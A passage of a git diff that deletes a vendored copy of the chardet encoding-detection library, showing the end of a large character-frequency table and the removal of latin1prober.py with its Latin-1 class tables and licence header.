-4774,4775,4776,4777,4778,1635,4779,4780,4781,4782,4783,4784,4785,4786,4787,4788, -4789,1636,4790,4791,4792,4793,4794,4795,4796,4797,4798,4799,4800,4801,4802,4803, -4804,4805,4806,1637,4807,4808,4809,1638,4810,4811,4812,4813,4814,4815,4816,4817, -4818,1639,4819,4820,4821,4822,4823,4824,4825,4826,4827,4828,4829,4830,4831,4832, -4833,1077,4834,4835,4836,4837,4838,4839,4840,4841,4842,4843,4844,4845,4846,4847, -4848,4849,4850,4851,4852,4853,4854,4855,4856,4857,4858,4859,4860,4861,4862,4863, -4864,4865,4866,4867,4868,4869,4870,4871,4872,4873,4874,4875,4876,4877,4878,4879, -4880,4881,4882,4883,1640,4884,4885,1641,4886,4887,4888,4889,4890,4891,4892,4893, -4894,4895,4896,4897,4898,4899,4900,4901,4902,4903,4904,4905,4906,4907,4908,4909, -4910,4911,1642,4912,4913,4914,1364,4915,4916,4917,4918,4919,4920,4921,4922,4923, -4924,4925,4926,4927,4928,4929,4930,4931,1643,4932,4933,4934,4935,4936,4937,4938, -4939,4940,4941,4942,4943,4944,4945,4946,4947,4948,4949,4950,4951,4952,4953,4954, -4955,4956,4957,4958,4959,4960,4961,4962,4963,4964,4965,4966,4967,4968,4969,4970, -4971,4972,4973,4974,4975,4976,4977,4978,4979,4980,1644,4981,4982,4983,4984,1645, -4985,4986,1646,4987,4988,4989,4990,4991,4992,4993,4994,4995,4996,4997,4998,4999, -5000,5001,5002,5003,5004,5005,1647,5006,1648,5007,5008,5009,5010,5011,5012,1078, -5013,5014,5015,5016,5017,5018,5019,5020,5021,5022,5023,5024,5025,5026,5027,5028, -1365,5029,5030,5031,5032,5033,5034,5035,5036,5037,5038,5039,1649,5040,5041,5042, -5043,5044,5045,1366,5046,5047,5048,5049,5050,5051,5052,5053,5054,5055,1650,5056, -5057,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5070,5071,5072, -5073,5074,5075,5076,5077,1651,5078,5079,5080,5081,5082,5083,5084,5085,5086,5087, -5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102,5103, -5104,5105,5106,5107,5108,5109,5110,1652,5111,5112,5113,5114,5115,5116,5117,5118, -1367,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,1653,5130,5131,5132, -5133,5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148, -5149,1368,5150,1654,5151,1369,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161, -5162,5163,5164,5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,5176,5177, -5178,1370,5179,5180,5181,5182,5183,5184,5185,5186,5187,5188,5189,5190,5191,5192, -5193,5194,5195,5196,5197,5198,1655,5199,5200,5201,5202,1656,5203,5204,5205,5206, -1371,5207,1372,5208,5209,5210,5211,1373,5212,5213,1374,5214,5215,5216,5217,5218, -5219,5220,5221,5222,5223,5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234, -5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,1657,5248,5249, -5250,5251,1658,1263,5252,5253,5254,5255,5256,1375,5257,5258,5259,5260,5261,5262, -5263,5264,5265,5266,5267,5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278, -5279,5280,5281,5282,5283,1659,5284,5285,5286,5287,5288,5289,5290,5291,5292,5293, -5294,5295,5296,5297,5298,5299,5300,1660,5301,5302,5303,5304,5305,5306,5307,5308, -5309,5310,5311,5312,5313,5314,5315,5316,5317,5318,5319,5320,5321,1376,5322,5323, -5324,5325,5326,5327,5328,5329,5330,5331,5332,5333,1198,5334,5335,5336,5337,5338, -5339,5340,5341,5342,5343,1661,5344,5345,5346,5347,5348,5349,5350,5351,5352,5353, -5354,5355,5356,5357,5358,5359,5360,5361,5362,5363,5364,5365,5366,5367,5368,5369, -5370,5371,5372,5373,5374,5375,5376,5377,5378,5379,5380,5381,5382,5383,5384,5385, -5386,5387,5388,5389,5390,5391,5392,5393,5394,5395,5396,5397,5398,1264,5399,5400, -5401,5402,5403,5404,5405,5406,5407,5408,5409,5410,5411,5412,1662,5413,5414,5415, -5416,1663,5417,5418,5419,5420,5421,5422,5423,5424,5425,5426,5427,5428,5429,5430, -5431,5432,5433,5434,5435,5436,5437,5438,1664,5439,5440,5441,5442,5443,5444,5445, -5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456,5457,5458,5459,5460,5461, -5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472,5473,5474,5475,5476,5477, -5478,1154,5479,5480,5481,5482,5483,5484,5485,1665,5486,5487,5488,5489,5490,5491, -5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504,5505,5506,5507, -5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520,5521,5522,5523, -5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536,5537,5538,5539, -5540,5541,5542,5543,5544,5545,5546,5547,5548,1377,5549,5550,5551,5552,5553,5554, -5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568,5569,5570, -1114,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584,5585, -5586,5587,5588,5589,5590,5591,5592,1378,5593,5594,5595,5596,5597,5598,5599,5600, -5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,1379,5615, -5616,5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631, -5632,5633,5634,1380,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646, -5647,5648,5649,1381,1056,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660, -1666,5661,5662,5663,5664,5665,5666,5667,5668,1667,5669,1668,5670,5671,5672,5673, -5674,5675,5676,5677,5678,1155,5679,5680,5681,5682,5683,5684,5685,5686,5687,5688, -5689,5690,5691,5692,5693,5694,5695,5696,5697,5698,1669,5699,5700,5701,5702,5703, -5704,5705,1670,5706,5707,5708,5709,5710,1671,5711,5712,5713,5714,1382,5715,5716, -5717,5718,5719,5720,5721,5722,5723,5724,5725,1672,5726,5727,1673,1674,5728,5729, -5730,5731,5732,5733,5734,5735,5736,1675,5737,5738,5739,5740,5741,5742,5743,5744, -1676,5745,5746,5747,5748,5749,5750,5751,1383,5752,5753,5754,5755,5756,5757,5758, -5759,5760,5761,5762,5763,5764,5765,5766,5767,5768,1677,5769,5770,5771,5772,5773, -1678,5774,5775,5776, 998,5777,5778,5779,5780,5781,5782,5783,5784,5785,1384,5786, -5787,5788,5789,5790,5791,5792,5793,5794,5795,5796,5797,5798,5799,5800,1679,5801, -5802,5803,1115,1116,5804,5805,5806,5807,5808,5809,5810,5811,5812,5813,5814,5815, -5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828,5829,5830,5831, -5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844,5845,5846,5847, -5848,5849,5850,5851,5852,5853,5854,5855,1680,5856,5857,5858,5859,5860,5861,5862, -5863,5864,1681,5865,5866,5867,1682,5868,5869,5870,5871,5872,5873,5874,5875,5876, -5877,5878,5879,1683,5880,1684,5881,5882,5883,5884,1685,5885,5886,5887,5888,5889, -5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905, -5906,5907,1686,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, -5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,1687, -5936,5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951, -5952,1688,1689,5953,1199,5954,5955,5956,5957,5958,5959,5960,5961,1690,5962,5963, -5964,5965,5966,5967,5968,5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979, -5980,5981,1385,5982,1386,5983,5984,5985,5986,5987,5988,5989,5990,5991,5992,5993, -5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009, -6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020,6021,6022,6023,6024,6025, -6026,6027,1265,6028,6029,1691,6030,6031,6032,6033,6034,6035,6036,6037,6038,6039, -6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052,6053,6054,6055, -6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068,6069,6070,6071, -6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084,1692,6085,6086, -6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100,6101,6102, -6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118, -6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,1693,6132,6133, -6134,6135,6136,1694,6137,6138,6139,6140,6141,1695,6142,6143,6144,6145,6146,6147, -6148,6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163, -6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179, -6180,6181,6182,6183,6184,6185,1696,6186,6187,6188,6189,6190,6191,6192,6193,6194, -6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210, -6211,6212,6213,6214,6215,6216,6217,6218,6219,1697,6220,6221,6222,6223,6224,6225, -6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241, -6242,6243,6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,1698,6254,6255,6256, -6257,6258,6259,6260,6261,6262,6263,1200,6264,6265,6266,6267,6268,6269,6270,6271, #1024 -6272,6273,6274,6275,6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,6286,6287, -6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,1699, -6303,6304,1700,6305,6306,6307,6308,6309,6310,6311,6312,6313,6314,6315,6316,6317, -6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333, -6334,6335,6336,6337,6338,6339,1701,6340,6341,6342,6343,6344,1387,6345,6346,6347, -6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363, -6364,6365,6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379, -6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395, -6396,6397,6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,6411, -6412,6413,1702,6414,6415,6416,6417,6418,6419,6420,6421,6422,1703,6423,6424,6425, -6426,6427,6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,1704,6439,6440, -6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456, -6457,6458,6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472, -6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487,6488, -6489,6490,6491,6492,6493,6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,1266, -6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516,6517,6518,6519, -6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532,6533,6534,6535, -6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548,6549,6550,6551, -1705,1706,6552,6553,6554,6555,6556,6557,6558,6559,6560,6561,6562,6563,6564,6565, -6566,6567,6568,6569,6570,6571,6572,6573,6574,6575,6576,6577,6578,6579,6580,6581, -6582,6583,6584,6585,6586,6587,6588,6589,6590,6591,6592,6593,6594,6595,6596,6597, -6598,6599,6600,6601,6602,6603,6604,6605,6606,6607,6608,6609,6610,6611,6612,6613, -6614,6615,6616,6617,6618,6619,6620,6621,6622,6623,6624,6625,6626,6627,6628,6629, -6630,6631,6632,6633,6634,6635,6636,6637,1388,6638,6639,6640,6641,6642,6643,6644, -1707,6645,6646,6647,6648,6649,6650,6651,6652,6653,6654,6655,6656,6657,6658,6659, -6660,6661,6662,6663,1708,6664,6665,6666,6667,6668,6669,6670,6671,6672,6673,6674, -1201,6675,6676,6677,6678,6679,6680,6681,6682,6683,6684,6685,6686,6687,6688,6689, -6690,6691,6692,6693,6694,6695,6696,6697,6698,6699,6700,6701,6702,6703,6704,6705, -6706,6707,6708,6709,6710,6711,6712,6713,6714,6715,6716,6717,6718,6719,6720,6721, -6722,6723,6724,6725,1389,6726,6727,6728,6729,6730,6731,6732,6733,6734,6735,6736, -1390,1709,6737,6738,6739,6740,6741,6742,1710,6743,6744,6745,6746,1391,6747,6748, -6749,6750,6751,6752,6753,6754,6755,6756,6757,1392,6758,6759,6760,6761,6762,6763, -6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779, -6780,1202,6781,6782,6783,6784,6785,6786,6787,6788,6789,6790,6791,6792,6793,6794, -6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806,6807,6808,6809,1711, -6810,6811,6812,6813,6814,6815,6816,6817,6818,6819,6820,6821,6822,6823,6824,6825, -6826,6827,6828,6829,6830,6831,6832,6833,6834,6835,6836,1393,6837,6838,6839,6840, -6841,6842,6843,6844,6845,6846,6847,6848,6849,6850,6851,6852,6853,6854,6855,6856, -6857,6858,6859,6860,6861,6862,6863,6864,6865,6866,6867,6868,6869,6870,6871,6872, -6873,6874,6875,6876,6877,6878,6879,6880,6881,6882,6883,6884,6885,6886,6887,6888, -6889,6890,6891,6892,6893,6894,6895,6896,6897,6898,6899,6900,6901,6902,1712,6903, -6904,6905,6906,6907,6908,6909,6910,1713,6911,6912,6913,6914,6915,6916,6917,6918, -6919,6920,6921,6922,6923,6924,6925,6926,6927,6928,6929,6930,6931,6932,6933,6934, -6935,6936,6937,6938,6939,6940,6941,6942,6943,6944,6945,6946,6947,6948,6949,6950, -6951,6952,6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966, -6967,6968,6969,6970,6971,6972,6973,6974,1714,6975,6976,6977,6978,6979,6980,6981, -6982,6983,6984,6985,6986,6987,6988,1394,6989,6990,6991,6992,6993,6994,6995,6996, -6997,6998,6999,7000,1715,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7011, -7012,7013,7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027, -7028,1716,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,7040,7041,7042, -7043,7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058, -7059,7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,7071,7072,7073,7074, -7075,7076,7077,7078,7079,7080,7081,7082,7083,7084,7085,7086,7087,7088,7089,7090, -7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105,7106, -7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,7119,7120,7121,7122, -7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136,7137,7138, -7139,7140,7141,7142,7143,7144,7145,7146,7147,7148,7149,7150,7151,7152,7153,7154, -7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167,7168,7169,7170, -7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183,7184,7185,7186, -7187,7188,7189,7190,7191,7192,7193,7194,7195,7196,7197,7198,7199,7200,7201,7202, -7203,7204,7205,7206,7207,1395,7208,7209,7210,7211,7212,7213,1717,7214,7215,7216, -7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229,7230,7231,7232, -7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245,7246,7247,7248, -7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261,7262,7263,7264, -7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277,7278,7279,7280, -7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,7296, -7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308,7309,7310,7311,7312, -7313,1718,7314,7315,7316,7317,7318,7319,7320,7321,7322,7323,7324,7325,7326,7327, -7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7340,7341,7342,7343, -7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,7354,7355,7356,7357,7358,7359, -7360,7361,7362,7363,7364,7365,7366,7367,7368,7369,7370,7371,7372,7373,7374,7375, -7376,7377,7378,7379,7380,7381,7382,7383,7384,7385,7386,7387,7388,7389,7390,7391, -7392,7393,7394,7395,7396,7397,7398,7399,7400,7401,7402,7403,7404,7405,7406,7407, -7408,7409,7410,7411,7412,7413,7414,7415,7416,7417,7418,7419,7420,7421,7422,7423, -7424,7425,7426,7427,7428,7429,7430,7431,7432,7433,7434,7435,7436,7437,7438,7439, -7440,7441,7442,7443,7444,7445,7446,7447,7448,7449,7450,7451,7452,7453,7454,7455, -7456,7457,7458,7459,7460,7461,7462,7463,7464,7465,7466,7467,7468,7469,7470,7471, -7472,7473,7474,7475,7476,7477,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487, -7488,7489,7490,7491,7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,7503, -7504,7505,7506,7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519, -7520,7521,7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535, -7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551, -7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, -7568,7569,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582,7583, -7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598,7599, -7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614,7615, -7616,7617,7618,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628,7629,7630,7631, -7632,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643,7644,7645,7646,7647, -7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659,7660,7661,7662,7663, -7664,7665,7666,7667,7668,7669,7670,7671,7672,7673,7674,7675,7676,7677,7678,7679, -7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690,7691,7692,7693,7694,7695, -7696,7697,7698,7699,7700,7701,7702,7703,7704,7705,7706,7707,7708,7709,7710,7711, -7712,7713,7714,7715,7716,7717,7718,7719,7720,7721,7722,7723,7724,7725,7726,7727, -7728,7729,7730,7731,7732,7733,7734,7735,7736,7737,7738,7739,7740,7741,7742,7743, -7744,7745,7746,7747,7748,7749,7750,7751,7752,7753,7754,7755,7756,7757,7758,7759, -7760,7761,7762,7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775, -7776,7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791, -7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807, -7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823, -7824,7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839, -7840,7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855, -7856,7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871, -7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887, -7888,7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903, -7904,7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919, -7920,7921,7922,7923,7924,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, -7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, -7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, -7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, -7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, -8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, -8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, -8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, -8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, -8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, -8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, -8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, -8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, -8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, -8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, -8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, -8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, -8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, -8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, -8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, -8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, -8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271, -8272,8273,8274,8275,8276,8277,8278,8279,8280,8281,8282,8283,8284,8285,8286,8287, -8288,8289,8290,8291,8292,8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303, -8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319, -8320,8321,8322,8323,8324,8325,8326,8327,8328,8329,8330,8331,8332,8333,8334,8335, -8336,8337,8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351, -8352,8353,8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,8364,8365,8366,8367, -8368,8369,8370,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382,8383, -8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398,8399, -8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,8411,8412,8413,8414,8415, -8416,8417,8418,8419,8420,8421,8422,8423,8424,8425,8426,8427,8428,8429,8430,8431, -8432,8433,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443,8444,8445,8446,8447, -8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459,8460,8461,8462,8463, -8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475,8476,8477,8478,8479, -8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490,8491,8492,8493,8494,8495, -8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506,8507,8508,8509,8510,8511, -8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522,8523,8524,8525,8526,8527, -8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538,8539,8540,8541,8542,8543, -8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554,8555,8556,8557,8558,8559, -8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575, -8576,8577,8578,8579,8580,8581,8582,8583,8584,8585,8586,8587,8588,8589,8590,8591, -8592,8593,8594,8595,8596,8597,8598,8599,8600,8601,8602,8603,8604,8605,8606,8607, -8608,8609,8610,8611,8612,8613,8614,8615,8616,8617,8618,8619,8620,8621,8622,8623, -8624,8625,8626,8627,8628,8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,8639, -8640,8641,8642,8643,8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655, -8656,8657,8658,8659,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671, -8672,8673,8674,8675,8676,8677,8678,8679,8680,8681,8682,8683,8684,8685,8686,8687, -8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, -8704,8705,8706,8707,8708,8709,8710,8711,8712,8713,8714,8715,8716,8717,8718,8719, -8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,8734,8735, -8736,8737,8738,8739,8740,8741) diff --git a/extra/chardet/latin1prober.py b/extra/chardet/latin1prober.py deleted file mode 100755 index ae4527c754d..00000000000 --- a/extra/chardet/latin1prober.py +++ /dev/null @@ -1,136 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 2001 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -from charsetprober import CharSetProber -import constants -import operator - -FREQ_CAT_NUM = 4 - -UDF = 0 # undefined -OTH = 1 # other -ASC = 2 # ascii capital letter -ASS = 3 # ascii small letter -ACV = 4 # accent capital vowel -ACO = 5 # accent capital other -ASV = 6 # accent small vowel -ASO = 7 # accent small other -CLASS_NUM = 8 # total classes - -Latin1_CharToClass = ( \ - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F - OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 - ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F - ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 - ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F - OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 - ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F - ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 - ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F - OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 - OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F - UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 - OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 - OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF - ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 - ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF - ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 - ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF - ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 - ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF - ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 - ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF -) - -# 0 : illegal -# 1 : very unlikely -# 2 : normal -# 3 : very likely -Latin1ClassModel = ( \ -# UDF OTH ASC ASS ACV ACO ASV ASO - 0, 0, 0, 0, 0, 0, 0, 0, # UDF - 0, 3, 3, 3, 3, 3, 3, 3, # OTH - 0, 3, 3, 3, 3, 3, 3, 3, # ASC - 0, 3, 3, 3, 1, 1, 3, 3, # ASS - 0, 3, 3, 3, 1, 2, 1, 2, # ACV - 0, 3, 3, 3, 3, 3, 3, 3, # ACO - 0, 3, 1, 3, 1, 1, 1, 3, # ASV - 0, 3, 1, 3, 1, 1, 3, 3, # ASO -) - -class Latin1Prober(CharSetProber): - def __init__(self): - CharSetProber.__init__(self) - self.reset() - - def reset(self): - self._mLastCharClass = OTH - 